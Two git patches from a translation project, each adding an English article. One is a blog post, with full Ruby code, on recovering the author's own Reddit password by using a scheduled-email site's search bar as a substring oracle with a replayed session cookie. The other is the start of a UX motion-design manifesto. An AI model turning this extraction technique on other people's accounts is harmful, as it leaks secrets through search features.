+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 0f630d62fc21721b39491c8886c93e1f933480ce Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 21:25:48 +0800
Subject: [PATCH 059/638] Create
 the-time-i-had-to-crack-my-own-reddit-password.md

---
 ...e-i-had-to-crack-my-own-reddit-password.md | 564 ++++++++++++++++++
 1 file changed, 564 insertions(+)
 create mode 100644 TODO/the-time-i-had-to-crack-my-own-reddit-password.md

diff --git a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
new file mode 100644
index 00000000000..a7cd6da89cd
--- /dev/null
+++ b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
@@ -0,0 +1,564 @@
+> * 原文地址：[That time I had to crack my own Reddit password](https://medium.freecodecamp.com/the-time-i-had-to-crack-my-own-reddit-password-a6077c0a13b4)
+> * 原文作者：[Haseeb Qureshi](https://medium.freecodecamp.com/@hosseeb?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# That time I had to crack my own Reddit password #
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*ZAFlM8eSiuGVRo9P-8L6MQ.jpeg">
+
+Hack the planet, everybody.
+
+I have no self-control.
+
+Luckily, I know this about myself. This allows me to consciously engineer my life so that despite having the emotional maturity of a heroin-addicted lab rat, I’m occasionally able to get things done.
+
+![](https://media.giphy.com/media/gOH54eiriYIwM/giphy.gif) 
+
+
+Mm, a waste of time!
+
+I waste a lot of time on Reddit. If I want to procrastinate on something, I’ll often open a new tab and dive down a Reddit-hole. But sometimes you need to turn on the blinders and dial down distractions. 2015 was one of these times — I was singularly focused on improving as a programmer, and Redditing was becoming a liability.
+
+I needed an abstinence plan.
+
+So it occurred to me: how about I lock myself out of my account?
+
+**Here’s what I did:**
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*8Zpw3ipnu92ehqA_6T-o8w.gif">
+
+I set a random password on my account. Then I asked a friend to e-mail me this password on a certain date. With that, I’d have a foolproof way to lock myself out of Reddit. (Also changed the e-mail for password recovery to cover all the bases.)
+
+This should have worked.
+
+Unfortunately it turns out, friends are very susceptible to social engineering. The technical terminology for this is that they are “nice to you” and will give you back your password if you “beg them.”
+
+![](https://media.giphy.com/media/uB6rsQFg5yPzW/giphy.gif) 
+
+Don’t look at me like that.
+
+After a few rounds of this failure mode, I needed a more robust solution. A little Google searching, and I came across this:
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*iMtDCzvNYVF9UOeiIbU7Ww.png">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*7QCLp-4HnnDwgj1FSnRstw.png">
+
+Looks legit.
+
+Perfect — an automated, friend-less solution! (I’d alienated most of them by now, so that was a big selling point.)
+
+A bit sketchy looking, but hey, any port in a storm.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*TOUIDOIRHiVySUWt46n3mw.gif">
+
+For a while I set this up this routine — during the week I’d e-mail myself my password, on the weekends I’d receive the password, load up on internet junk food, and then lock myself out again once the week began. It worked quite well from what I remember.
+
+Eventually I got so busy with programming stuff, I completely forgot about it.
+
+### **Cut to two years later.** ###
+
+I’m now gainfully employed at Airbnb. And Airbnb, it so happens, has a large test suite. This means waiting, and waiting of course means internet rabbit holes.
+
+I decide to scrounge up my old account and find my Reddit password.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*sAr_MYJtJVkNq6uHiVQxtQ.gif">
+
+Oh no.That’s not good.
+
+I didn’t remember doing this, but I must have gotten so fed up with myself that** I locked myself out until 2018**. I also set it to “hide,” so I couldn’t view the contents of the e-mail until it’s sent.
+
+What do I do? Do I just have to create a new Reddit account and start from scratch? But that’s *so much work.*
+
+I could write in to LetterMeLater and explain that I didn’t mean to do this. But they would probably take a while to get back to me. We’ve already established I’m wildly impatient. Plus this site doesn’t look like it has a support team. Not to mention it would be an embarrassing e-mail exchange. I started brainstorming elaborate explanations involving dead relatives about why I needed access to the e-mail…
+
+All of my options were messy. I was walking home that night from the office pondering my predicament, when suddenly it hit me.
+
+**The search bar.**
+
+I pulled up the app on my mobile phone and tried it:
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*DvLUtm_ZGOaTGKy1bOuyYQ.gif">
+
+Hmm.
+
+Okay. So it’s indexing the subject for sure. What about the body?
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*esw6gkV0G-M1JKaPAqipLA.gif">
+
+I try a few letters, and voila. It’s definitely got the body indexed. Remember: the body consisted entirely of my password.
+
+*Essentially, I’ve been given an interface to perform substring queries.* By entering in a string into the search bar, the search results will confirm whether my password contains this substring.
+
+**We’re in business.**
+
+I hurry into my apartment, drop my bag, and pull out my laptop.
+
+Algorithms problem: you are given a function `substring?(str)`, which returns true or false depending on whether a password contains any given substring. *Given this function, write an algorithm that can deduce the hidden password.*
+
+### The Algorithm ###
+
+So let’s think about this. A few things I know about my password: I know it was a long string with some random characters, probably something along the lines of `asgoihej2409g`. I *probably* didn’t include any upper-case characters (and Reddit doesn’t enforce that as a password constraint) so let’s assume for now that I didn’t — in case I did, we can just expand the search space later if the initial algorithm fails.
+
+We also have a subject line as part of the string we’re querying. And we know the subject is “password”.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*XvaVCyWtSdqKSz59HKnNDw.png">
+
+Let’s pretend the body is 6 characters long. So we’ve got six slots of characters, some of which may appear in the subject line, some of which certainly don’t. So if we take all of the characters that aren’t in the subject and try searching for each of them, we know for sure we’ll hit a unique letter that’s in the password. Think like a game of Wheel of Fortune.
+
+![](https://cdn-images-1.medium.com/max/800/1*LOzh--_Ujutrh_OKhjfNaw.png)
+
+We keep trying letters one by one until we hit a match for something that’s not in our subject line. Say we hit it.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*fdoVAq3t5naQ5G9yARr0RA.png">
+
+Once I’ve found my first letter, I don’t actually know where in this string I am. But I know I can start building out a bigger substring by appending different characters to the end of this until I hit another substring match.
+
+We’ll potentially have to iterate through every character in our alphabet to find it. Any of those characters could be correct, so on average it’ll hit somewhere around the middle, so given an alphabet of size `A`, it should average out to `A/2` guesses per letter (let’s assume the subject is small and there are no repeating patterns of 2+ characters).
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*GJ5xKZzTe0F5un-Iz11pXg.png">
+
+I’ll keep building this substring until it eventually hits the end and no characters can extend it further.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*E9ri3Rf8LBPxUTjgs5BvPQ.png">
+
+But that’s not enough — most likely, there will be a prefix to the string that I missed, because I started in a random place. Easy enough: all I have to do is now repeat the process, except going backwards.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*F_n0WGRP_8RJdFtR-v0b1g.png">
+
+Once the process terminates, I should be able to reconstruct the password. In total, I’ll need to figure out`L` characters(where `L` is the length), and need to expend on average `A/2` guesses per character (where `A` is the alphabet size), so total guesses = `A/2 * L`.
+
+To be precise, I also have to add another `2A` to the number of guesses for ascertaining that the string has terminated on each end. So the total is `A/2 * L + 2A`, which we can factor as `A(L/2 + 2)`.
+
+Let’s assume we have 20 characters in our password, and an alphabet consisting of `a-z` (26) and `0–9` (10), so a total alphabet size of 36. So we’re looking at an average of `36 * (20/2 + 2) = 36 * 12 = 432` iterations.
+
+Damn.
+
+This is actually doable.
+
+![](https://media.giphy.com/media/119cVU19ICcAKc/giphy.gif) 
+
+Programming IRL
+
+### The Implementation ###
+
+First things first: I need to write a client that can programmatically query the search box. This will serve as my substring oracle. Obviously this site has no API, so I’ll need to scrape the website directly.
+
+Looks like the URL format for searching is just a simple query string, `www.lettermelater.com/account.php?**qe=#{query_here}**`. That’s easy enough.
+
+Let’s start writing this script. I’m going to use the Faraday gem for making web requests, since it has a simple interface that I know well.
+
+I’ll start by making an API class.
+
+```
+require 'faraday'
+
+class Api
+  BASE_URL = 'http://www.lettermelater.com/account.php'
+
+  def self.get(query)
+    Faraday.get(BASE_URL, qe: query)
+  end
+end
+```
+
+Of course, we don’t expect this to work yet, as our script won’t be authenticated into any account. As we can see, the response returns a 302 redirect with an error message provided in the cookie.
+
+```
+[10] pry(main)> Api.get(“foo”)
+=> #<Faraday::Response:0x007fc01a5716d8
+...
+{“date”=>”Tue, 04 Apr 2017 15:35:07 GMT”,
+“server”=>”Apache”,
+“x-powered-by”=>”PHP/5.2.17",
+“set-cookie”=>”msg_error=You+must+be+signed+in+to+see+this+page.”,
+“location”=>”.?pg=account.php”,
+“content-length”=>”0",
+“connection”=>”close”,
+“content-type”=>”text/html; charset=utf-8"},
+status=302>
+```
+
+So how do we sign in? We need to send in our [cookies](http://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work) in the header, of course. Using Chrome inspector we can trivially grab them.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*PSxZtW4wppyzRXMdBWgGWw.gif">
+
+(Not going to show my real cookie here, obviously. Interestingly, looks like it’s storing `user_id` client-side which is always a great sign.)
+
+Through process of elimination, I realize that it needs both `code` and `user_id` to authenticate me… sigh.
+
+So I add these to the script. (This is a fake cookie, just for illustration.)
+
+```
+
+require 'faraday'
+
+class Api
+  BASE_URL = 'http://www.lettermelater.com/account.php'
+  COOKIE = 'code=13fa1fa011169ab29007fcad17b2ae; user_id=279789'
+
+  def self.get(query)
+    Faraday.get(BASE_URL, { qe: query }, Cookie: COOKIE).body
+  end
+end
+```
+
+```
+[29] pry(main)> Api.get(“foo”)
+=> “\n<!DOCTYPE HTML PUBLIC \”-//W3C//DTD HTML 4.01//EN\” \”[http://www.w3.org/TR/html4/strict.dtd\](http://www.w3.org/TR/html4/strict.dtd%5C) (.markup--anchor .markup--pre-anchor data-href=markup--anchor markup--pre-anchor rel=markup--anchor markup--pre-anchor target=markup--anchor markup--pre-anchor)">\n<html>\n<head>\n\t<meta http-equiv=\”content-type\” content=\”text/html; charset=UTF-8\” />\n\t<meta name=\”Description\” content=\”LetterMeLater.com allows you to send emails to anyone, with the ability to have them sent at any future date and time you choose.\” />\n\t<meta name=\”keywords\” content=\”schedule email, recurring, repeating, delayed, text messaging, delivery, later, future, reminder, date, time, capsule\” />\n\t<title>LetterMeLater.com — Account Information</title>…
+
+[30] pry(main)> _.include?(“Haseeb”)
+=> true
+```
+
+It’s got my name in there, so we’re definitely logged in!
+
+We’ve got the scraping down, now we just have to parse the result. Luckily, this pretty easy — we know it’s a hit if the e-mail result shows up on the page, so we just need to look for any string that’s unique when the result is present. The string “password” appears nowhere else, so that will do just nicely.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*cZT37Ji9j8sm8dobFpiAWQ.png">
+
+```
+def self.include?(substring)
+  get(substring).include?(‘password’)
+end
+```
+
+That’s all we need for our API class. We can now do substring queries entirely in Ruby.
+
+```
+[31] pry(main)> Api.include?('password')
+=> true
+[32] pry(main)> Api.include?('f')
+=> false
+[33] pry(main)> Api.include?('g')
+=> true
+```
+
+Now that we know that works, let’s stub out the API while we develop our algorithm. Making HTTP requests is going to be really slow and we might trigger some rate-limiting as we’re experimenting. If we assume our API is correct, once we get the rest of the algorithm working, everything should just work once we swap the real API back in.
+
+So here’s the stubbed API, with a random secret string:
+
+```
+class ApiStub
+  SECRET_PASSWORD = 'g420hpfjpefoj490rjgsd'
+
+  def self.include?(substring)
+    SECRET_PASSWORD.include?(substring)
+  end
+end
+```
+
+We’ll inject the stubbed API into the class while we’re testing. Then for the final run, we’ll use the real API to query for the real password.
+
+So let’s get started with this class. From a high level, recalling my algorithm diagram, it goes in three steps:
+
+1. First, find the first letter that’s not in the subject but exists in the password. This is our starting off point.
+2. Build those letters forward until we fall off the end of the string.
+3. Build that substring backwards until we hit the beginning of the string.
+
+Then we’re done!
+
+Let’s start with initialization. We’ll inject the API, and other than that we just need to initialize the current password chunk to be an empty string.
+
+```
+class PasswordCracker
+  def initialize(api)
+    @api = api
+    @password = ''
+  end
+end
+```
+
+Now let’s write three methods, following the steps we outlined.
+
+```
+  def crack!
+    find_starting_letter!
+    build_forward!
+    build_backward!
+    @password
+  end
+```
+
+
+Perfect. Now the rest of the implementation can take place in private methods.
+
+For finding the first letter, we need to iterate over each character in the alphabet that’s not contained in the subject. To construct this alphabet, we’re going to use `a-z` and `0–9`. Ruby allows us to do this pretty easily with ranges:
+
+```
+ALPHABET = ((‘a’..’z’).to_a + (‘0’..’9').to_a).shuffle
+```
+
+I prefer to shuffle this to remove any bias in the password’s letter distribution. This will make our algorithm query A/2 times on average per character, even if the password is non-randomly distributed.
+
+We also want to set the subject as a constant:
+
+```
+SUBJECT = ‘password’
+```
+
+That’s all the setup we need. Now time to write `find_starting_letter`. This needs to iterate through each candidate letter (in the alphabet but not in the subject) until it finds a match.
+
+```
+  private
+
+  def find_starting_letter!
+    candidate_letters = ALPHABET - SUBJECT.chars
+    @password = candidate_letters.find { |char| @api.include?(char) }
+  end
+```
+
+In testing, looks like this works perfectly:
+
+```
+PasswordCracker.new(ApiStub).send(:find_starting_letter!) # => 'f'
+```
+
+Now for the heavy lifting.
+
+I’m going to do this recursively, because it makes the structure very elegant.
+
+```
+def build_forward!
+    puts "Current password: #{@password}"
+    ALPHABET.each do |char|
+      guess = @password + char
+
+      if @api.include?(guess)
+        @password = guess
+        build_forward!
+        # once I'm done building forward, jump out of all stack frames
+        return
+      end
+    end
+  end
+```
+
+The code is surprisingly straightforward. Let’s see if it works with our stub API.
+
+```
+[63] pry(main)> PasswordCracker.new(ApiStub).crack!
+f
+fj
+fjp
+fjpe
+fjpef
+fjpefo
+fjpefoj
+fjpefoj4
+fjpefoj49
+fjpefoj490
+fjpefoj490r
+fjpefoj490rj
+fjpefoj490rjg
+fjpefoj490rjgs
+fjpefoj490rjgsd
+=> “fjpefoj490rjgsd”
+```
+
+Awesome. We’ve got a suffix, now just to build backward and complete the string. This should look very similar.
+
+```
+def build_backward!
+    puts "Current password: #{@password}"
+    ALPHABET.each do |char|
+      guess = char + @password
+
+      if @api.include?(guess)
+        @password = guess
+        build_backward!
+        return
+      end
+    end
+```
+
+
+In fact, there’s only two lines of difference here: how we construct the `guess`, and the name of the recursive call. There’s an obvious refactoring here, so let’s do it.
+
+```
+def build!(forward:)
+    puts "Current password: #{@password}"
+    ALPHABET.each do |char|
+      guess = forward ? @password + char : char + @password
+
+      if @api.include?(guess)
+        @password = guess
+        build!(forward: forward)
+        return
+      end
+    end
+  end
+```
+
+Now these other calls simply reduce to:
+
+```
+  def build_forward!
+    build!(forward: true)
+  end
+
+  def build_backward!
+    build!(forward: false)
+  end
+```
+
+And let’s see how it works in action:
+
+
+```
+Apps-MacBook:password-recovery haseeb$ ruby letter_me_now.rb
+Current password: 9
+Current password: 90
+Current password: 90r
+Current password: 90rj
+Current password: 90rjg
+Current password: 90rjgs
+Current password: 90rjgsd
+Current password: 90rjgsd
+Current password: 490rjgsd
+Current password: j490rjgsd
+Current password: oj490rjgsd
+Current password: foj490rjgsd
+Current password: efoj490rjgsd
+Current password: pefoj490rjgsd
+Current password: jpefoj490rjgsd
+Current password: fjpefoj490rjgsd
+Current password: pfjpefoj490rjgsd
+Current password: hpfjpefoj490rjgsd
+Current password: 0hpfjpefoj490rjgsd
+Current password: 20hpfjpefoj490rjgsd
+Current password: 420hpfjpefoj490rjgsd
+Current password: g420hpfjpefoj490rjgsd
+g420hpfjpefoj490rjgsd
+```
+
+Beautiful. Now let’s just add some more print statements and a bit of extra logging, and we’ll have our finished `PasswordCracker`.
+
+```
+require 'faraday'
+
+class PasswordCracker
+  ALPHABET = (('a'..'z').to_a + ('0'..'9').to_a).shuffle
+  SUBJECT = 'password'
+
+  def initialize(api)
+    @api = api
+    @password = ''
+  end
+
+  def crack!
+    find_starting_letter!
+    puts "Found first letter: #{@password}"
+    puts "\nBuilding forward!\n"
+    build_forward!
+    puts "\nBuilding backward!\n"
+    build_backward!
+    puts "Done! The result is #{@password}."
+    puts "We found it in #{@api.iterations} iterations"
+    @password
+  end
+
+  private
+
+  def find_starting_letter!
+    candidate_letters = ALPHABET - SUBJECT.chars
+    @password = candidate_letters.find { |char| @api.include?(char) }
+  end
+
+  def build_forward!
+    build!(forward: true)
+  end
+
+  def build_backward!
+    build!(forward: false)
+  end
+
+  def build!(forward:)
+    puts "Current password: #{@password}"
+    ALPHABET.each do |char|
+      guess = forward ? @password + char : char + @password
+
+      if @api.include?(guess)
+        @password = guess
+        build!(forward: forward)
+        return
+      end
+    end
+  end
+end
+
+class Api
+  BASE_URL = 'http://www.lettermelater.com/account.php'
+  COOKIE = 'code=13fa1fa011169ab29007fcad17b2ae; user_id=279789'
+  @iterations = 0
+
+  def self.get(query)
+    @iterations += 1
+    Faraday.get(BASE_URL, { qe: query }, Cookie: COOKIE).body
+  end
+
+  def self.include?(substring)
+    get(substring).include?('password')
+  end
+
+  def self.iterations
+    @iterations
+  end
+end
+
+class ApiStub
+  SECRET_PASSWORD = 'g420hpfjpefoj490rjgsd'
+  @iterations = 0
+
+  def self.include?(substring)
+    @iterations += 1
+    SECRET_PASSWORD.include?(substring)
+  end
+  
+  def self.iterations
+    @iterations
+  end
+end
+```
+
+And now… the magic moment. Let’s swap the stub with the real API and see what happens.
+
+### The Moment of Truth ###
+
+Cross your fingers…
+
+`PasswordCracker.new(Api).crack!`
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*NR-y9WthtHg4DVjLDwikVA.gif">
+
+(Sped up 3x)
+
+Boom. 443 iterations.
+
+Tried it out on Reddit, and login was successful.
+
+Wow.
+
+It… actually worked.
+
+Recall our original formula for the number of iterations: `A(N/2 + 2)`. The true password was 22 characters, so our formula would estimate `36 * (22/2 + 2) = 36 * 13 = 468` iterations. Our real password took 443 iterations, so our estimate was within 5% of the observed runtime.
+
+**Math.**
+
+![](https://media.giphy.com/media/26xBI73gWquCBBCDe/giphy.gif) 
+
+tfw wtf ftw
+
+**It works.**
+
+Embarrassing support e-mail averted. Reddit rabbit-holing restored. It’s now confirmed: programming is, indeed, magic.
+
+(The downside is I am now going to have to find a new technique to lock myself out of my accounts.)
+
+And with that, I’m gonna get back to my internet rabbit-holes. Thanks for reading, and give it a like if you enjoyed this!
+
+*—Haseeb*
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 8b1ccb184fbd2898c18da673889fa2466202e965 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 21:48:45 +0800
Subject: [PATCH 060/638] Create
 creating-usability-with-motion-the-ux-in-motion-manifesto.md

---
 ...-with-motion-the-ux-in-motion-manifesto.md | 452 ++++++++++++++++++
 1 file changed, 452 insertions(+)
 create mode 100644 TODO/creating-usability-with-motion-the-ux-in-motion-manifesto.md

diff --git a/TODO/creating-usability-with-motion-the-ux-in-motion-manifesto.md b/TODO/creating-usability-with-motion-the-ux-in-motion-manifesto.md
new file mode 100644
index 00000000000..b7982b9da14
--- /dev/null
+++ b/TODO/creating-usability-with-motion-the-ux-in-motion-manifesto.md
@@ -0,0 +1,452 @@
+> * 原文地址：[Creating Usability with Motion: The UX in Motion Manifesto](https://medium.com/@ux_in_motion/creating-usability-with-motion-the-ux-in-motion-manifesto-a87a4584ddc)
+> * 原文作者：[Issara Willenskomer](https://medium.com/@ux_in_motion?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*boQYFGPLtlDof3RRs124bQ.gif">
+
+# Creating Usability with Motion: The UX in Motion Manifesto #
+
+The following manifesto represents my answer to the question — “As a UX or UI, designer, how do I know when and where to implement motion to support usability?”
+
+Over the last 5 years, it has been my privilege to coach and mentor UX & UI designers in over 40 countries, and at hundreds of the top brands and design consultancies through my workshops and tutorials on UI Animation.
+
+After over fifteen years studying motion in user interfaces, I have come to the conclusion that there are 12 specific opportunities to support usability in your UX projects using motion.
+
+I call these opportunities ‘The 12 Principles of UX in Motion,’ and they can be stacked and combined synergistically in a myriad of innovative ways.
+
+I’ve broken the manifesto into 5 parts:
+
+1. Addressing the topic of UI Animation — it’s not what you think
+2. Realtime vs non-realtime interactions
+3. Four ways that motion supports usability
+4. Principles, Techniques, Properties and Values
+5. The 12 Principles of UX in Motion
+
+As a quick plug, if you want me to speak at your conference or lead an onsite workshop for your team on the exciting topic of motion and usability, go [here](https://uxinmotion.net/workshops-and-speaking/) . If you want to attend a class in your city go [here](https://uxinmotion.net/workshops-and-speaking/#classes) . Finally, if you want me to consult on your project, you can go [here](https://uxinmotion.net/consulting/) . To get added to my list, go [here](http://uxinmotion.net/joinnow) 
+
+### It’s not about UI Animation ###
+
+Because the topic of motion in user interfaces is mostly understood by designers to be ‘UI Animation’—which it is not — I feel like I need to create a bit of context before we jump into the 12 Principles.
+
+‘UI Animation’ is typically thought of by designers as something that makes the user experience more delightful, but overall doesn’t add much value. Thus, UI Animation is often treated like the red-headed stepchild of UX (apologies to red-headed stepchildren everywhere). If at all, it usually comes at the end, as a final lipstick pass.
+
+Additionally, motion in the context of user interfaces has understandably been held to be under the domain of Disney’s 12 Principles of Animation, something I argue against in my article ‘[UI Animation Principles — Disney is Dead](https://medium.com/@ux_in_motion/ui-animation-principles-disney-is-dead-8bf6c66207f9) .’
+
+In my manifesto, I will be making the case that UI Animation is to the ‘12 UX in Motion Principles’ as construction is to architecture.
+
+By this I mean, that while a structure needs to be physically built to exist (requiring construction), the guiding hand which determines *what* gets built comes from the domain of Principles.
+
+Animation is all about tools. Principles are the practical application of ideas that guide the usage of tools and as such, Principles provide high leverage opportunities for designers.
+
+What most designers think of as ‘UI Animation’ is in fact the execution of a higher modality of design: the temporal behavior of interface objects during realtime and non-realtime events.
+
+
+### Realtime vs non-realtime interactions ###
+
+At this juncture, it is important to distinguish between ‘state’ and ‘act.’ The *state* of something in UX is fundamentally static, like a design comp. The *act *of something in UX is fundamentally temporal, and motion based. An object can be in the *state *of being masked or it can be in the *act* of being masked. If it is the latter, we know that motion is involved and in a way that could support usability.
+
+Additionally, all temporal aspects of interaction can be thought of as happening in realtime or non-realtime. Realtime means that the user is directly interacting with the objects in the user interface. Non-realtime means that the object behavior is post-interactive: it occurs *after *a user action, and is transitional.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*5FaCRpgM0oUwiqc_j_mL3w.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*SRLhjyyJA43ELZ65Zu6o4w.gif">
+
+This is an important distinction.
+
+Realtime interactions can also be though of as ‘direct manipulation,’ in that the user is interacting with the interface objects directly and *immediately*. The behavior of the interface is happening *as the user is using it.*
+
+Non-realtime interactions happen only *after *input from the user and have the effect of briefly locking the user out of the user experience until the transition completes.
+
+These distinctions will give us leverage as we continue our journey into the world of the 12 Principles of UX in Motion.
+
+
+### Motion supports usability in four ways ###
+
+These four pillars represent the four ways where the temporal behavior of user experiences supports usability.
+
+#### Expectation ####
+
+Expectation fall into two areas — how users perceive what an object *is*, and how it *behaves*. Another way of saying this is that as designers, we want to minimize the gap between what the user expects, and what they experience.
+
+#### Continuity ####
+
+Continuity speaks both to the user flow and to the ‘consistency’ of the user experience. Continuity can be thought of in terms of ‘intra-continuity’ — the continuity within a scene, and ‘inter-continuity’ — the continuity within a series of scenes that make up the total user experience.
+
+#### Narrative ####
+
+Narrative is the linear progression of events in the user experience that results in a temporal/spatial framework. This can be thought of as the series of discreet moments and events that connect together throughout the user experience.
+
+#### Relationship ####
+
+Relationship refers to the spatial, temporal, and hierarchal representations between interface objects that guide user understanding and decision making.
+
+### Principles, Techniques, Properties, and Values ###
+
+[Tyler Waye](http://tylerwaye.com/learning-to-learn-principles-vs-techniques/) says it as good as any when he writes, “Principles… are the underlying premises and rules of function giving rise to any number of techniques. These elements remain consistent, no matter what is happening.” It bears repeating that Principles are agnostic of design.
+
+From there, we can imagine a hierarchy with Principles at the top, Techniques further down, Properties below that, and Values at the bottom.
+
+**Techniques** can be thought of as the various and unlimited executions of Principles and/or combination of Principles. I think of technique as akin to ‘style.’
+
+**Properties** are the specific object parameters that are being animated to create the technique. These include (and are not limited to) position, opacity, scale, rotation, anchor point, color, stroke-width, shape, etc.
+
+**Values** are the actual numeric property values that vary over time to create what we call ‘animation.’
+
+So to land the plane here (and jumping ahead a bit), we could say that a hypothetical UI animation reference is using the Obscuration Principle with a ‘blurred glass’ Technique that affects the Blur and Opacity Properties at a Value of 25px and 70% respectively.
+
+Now we have some tools to work with. And more importantly, these linguistic tools are agnostic of any specific prototyping tool.
+
+
+### The 12 Principles of UX in Motion ###
+
+Easing and Offset & Delay relate to *timing*. Parenting relates to *object relationship*. Transformation, Value Change, Masking, Overlay, and Cloning all relate to *object continuity*. Parallax relate to *temporal hierarchy*. Obscuration, Dimensionality and Dolly & Zoom both relate to *spatial continuity*.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*FQwVeyJ8pxngEGAxruGW-A.jpeg">
+
+#### **Principle 1: Easing** ####
+
+*Object behavior aligns with user expectations when temporal events occur.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*KcWZCCOMr7QrFpqxWirtMw.gif">
+
+All interface objects exhibiting temporal behavior (whether realtime or non-realtime), ease. Easing creates and reinforces the ‘naturalism’ inherent in the seamlessness of user experiences, and creates a sense of continuity when objects behave *as users expect them to. *Incidentally*, *Disney refers to this as ‘[Slow In and Slow Out](https://en.wikipedia.org/wiki/12_basic_principles_of_animation#Slow_In_and_Slow_Out).’
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*NBmptOO9ZTC9bQ-98-mWcg.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*HwK2vxdY0vveZdvqoEY_8w.gif">
+
+The example on the left has linear motion and looks ‘bad.’ The first example up top has *eased* motion and looks ‘good.’ All three above examples have the exact number of frames and take place over the exact same amount of time. The only difference is in their easing.
+
+As designers concerned with usability, we need to require of ourselves rigor and inquire, aside from aesthetics, which example supports usability more?
+
+The case I am presenting here is that a certain degree of skeuomorphism is inherent in easing. You can imagine an ‘easing gradient’ wherein behaviors that fall outside user expectations result in less usable interactions. In the case of properly eased motion, users experience the motion itself as seamless and largely invisible — which is a good thing in that it is *non-distracting*. Linear motion is visibly obvious and feels somehow off, unfinished, and jarring, and distracting.
+
+Now I’m going to completely contradict myself here and talk about the example on the right. The motion *isn’t* seamless. In fact, it has a ‘designed’ feel to it. We notice how the object lands. It feels different, yet it still feels more ‘correct’ than the example with linear motion.
+
+Can you employ easing and still have it not support (or worse case undermine) usability? The answer is yes, and there are several ways. One way is timing. If your timing is too slow (mushy to borrow from [Pasquele](https://medium.com/@pasql) ), or too fast, you can break expectation and distract user attention. Similarly, if your easing is misaligned with the brand or overall experience, this can also negatively impact expectation and seamlessness.
+
+What I want to open you to is a world of opportunity when it comes to eased motion. There are literally an infinite number of ‘easings’ that you as a designer can create and implement in your projects. All of these easings have their own expectation response they trigger in users.
+
+To summarize: when to use easing? Always.
+
+#### Principle 2: Offset & Delay ####
+
+*Defines object relationships and hierarchies when introducing new elements and scenes.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*7rRMvWTms2t7FnR0kyJN3g.gif">
+
